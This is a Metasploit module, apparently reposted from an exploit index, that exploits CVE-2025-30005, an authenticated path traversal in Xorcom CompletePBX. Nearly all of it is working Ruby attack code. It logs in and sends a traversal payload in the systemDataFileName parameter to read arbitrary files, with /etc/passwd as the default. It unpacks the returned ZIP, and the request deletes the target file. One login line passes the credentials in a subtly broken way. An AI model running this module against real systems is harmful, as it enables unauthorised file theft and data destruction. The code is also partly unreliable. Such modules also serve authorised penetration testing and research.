Share
## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-HTTP-XORCOM_COMPLETEPBX_DIAGNOSTICS_FILE_READ-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HTTP::CompletePBX
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xorcom CompletePBX Arbitrary File Read and Deletion via systemDataFileName',
        'Description' => %q{
          This module exploits an authenticated path traversal vulnerability in
          Xorcom CompletePBX <= 5.2.35. The issue occurs due to improper validation of the
          `systemDataFileName` parameter in the `diagnostics` module, allowing authenticated attackers
          to retrieve arbitrary files from the system.

          Additionally, the exploitation of this vulnerability results in the **deletion** of the
          requested file from the target system.

          The vulnerability is identified as CVE-2025-30005.
        },
        'Author' => [
          'Valentin Lobstein' # Research and module development
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2025-30005'],
          ['URL', 'https://xorcom.com/new-completepbx-release-5-2-36-1/'],
          ['URL', 'https://chocapikk.com/posts/2025/completepbx/']
        ],
        'DisclosureDate' => '2025-03-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE, OS_RESOURCE_LOSS],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => []
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [true, 'Username for authentication', 'admin']),
        OptString.new('PASSWORD', [true, 'Password for authentication']),
        OptString.new('TARGETFILE', [true, 'File to retrieve from the system', '/etc/passwd'])
      ]
    )
    register_advanced_options(
      [
        OptBool.new('DefangedMode', [ true, 'Run in defanged mode', true ])
      ]
    )
  end

  def check
    completepbx?
  end

  def run
    if datastore['DefangedMode']
      warning = <<~EOF

        Are you *SURE* you want to execute the module against the target?
        Running this module will attempt to read and delete the file
        specified by TARGETFILE on the remote system.

        If you have explicit authorisation, re-run with:
            set DefangedMode false
      EOF
      fail_with(Failure::BadConfig, warning)
    end

    print_warning('This exploit WILL delete the target file if permissions allow.')
    sleep(2)

    sid_cookie = completepbx_login(datastore['USERNAME', datastore['PASSWORD']])
    target_file = "../../../../../../../../../../../#{datastore['TARGETFILE']}"

    print_status("Attempting to read file: #{target_file}")

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['TARGETURI']),
      'method' => 'GET',
      'headers' => { 'Cookie' => sid_cookie },
      'vars_get' => {
        'class' => 'diagnostics',
        'method' => 'stopMode',
        'systemDataFileName' => target_file
      }
    })

    unless res
      fail_with(Failure::Unreachable, 'No response from target')
    end

    unless res.code == 200
      fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}")
    end

    body = res.body.lines[0..-2].join

    if res.headers['Content-Type']&.include?('application/zip')
      print_status('ZIP file received, attempting to list files')

      files_list = list_files_in_zip(body)

      if files_list.empty?
        fail_with(Failure::NotVulnerable, 'ZIP archive received but contains no files.')
      end

      print_status("Files inside ZIP archive:\n - " + files_list.join("\n - "))

      extracted_content = read_file_from_zip(body, File.basename(target_file), files_list)

      if extracted_content
        print_good("Content of #{datastore['TARGETFILE']}:\n#{extracted_content}")
      else
        fail_with(Failure::NotVulnerable, 'File not found in ZIP archive.')
      end
    else
      print_good("Raw file content received:\n#{body}")
    end
  end

  def list_files_in_zip(zip_data)
    files = []
    begin
      ::Zip::InputStream.open(StringIO.new(zip_data)) do |io|
        while (entry = io.get_next_entry)
          files << entry.name
        end
      end
    rescue ::Zip::Error, ::IOError, ::ArgumentError => e
      fail_with(Failure::UnexpectedReply, "Invalid ZIP data: #{e.class} - #{e.message}")
    end
    files
  end

  def read_file_from_zip(zip_data, target_filename, files_list)
    possible_matches = files_list.select { |f| f.include?(target_filename) }
    return nil if possible_matches.empty?

    correct_filename = possible_matches.first
    file_content = nil

    begin
      ::Zip::InputStream.open(StringIO.new(zip_data)) do |io|
        while (entry = io.get_next_entry)
          if entry.name == correct_filename
            file_content = io.read
            break
          end
        end
      end
    rescue ::Zip::Error, ::IOError, ::ArgumentError => e
      fail_with(Failure::UnexpectedReply, "Error reading ZIP archive: #{e.class} - #{e.message}")
    end

    file_content
  end
end